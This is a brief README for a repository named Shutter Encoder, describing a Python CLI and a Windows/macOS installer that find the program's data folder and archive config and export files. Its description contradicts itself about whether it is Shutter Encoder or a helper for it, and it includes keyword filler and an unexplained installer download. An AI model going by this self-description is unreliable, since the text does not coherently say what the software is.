What Shutter Encoder is

This repository is Shutter Encoder, a Windows utility. Find the Shutter Encoder folder fast and keep a local spare.

Shutter Encoder drops data files next to launcher caches.

The CLI in this repository is the documented interface; the desktop build is the same job in an installer.

How to get it

Two editions of the same tool:

• CLI — the source in this repo. Python 3.11+, local files only.
• Desktop build — Windows / macOS installer on the setup page.

Highlights

• Finds the Shutter Encoder data directory.
• Copies config and export files to a dated archive.
• Lists photo and export folders.
• Writes a short report of what was kept.

Background

People search Shutter Encoder desktop and PC when they want the folder on disk.

A named helper is easier to find than a generic zip.

Environment

• Windows 10 or 11 for the desktop build
• Python 3.11 or newer only if you run the CLI from this repository
• Runs locally on the PC that starts it; no account required for the CLI

Run locally

Python 3.11 or newer. From the repository root:

python -m pip install -r requirements.txt
python main.py --help

--preview prints the plan and does not write. --out sets an output folder when the command supports it.

Download

Windows and macOS installer
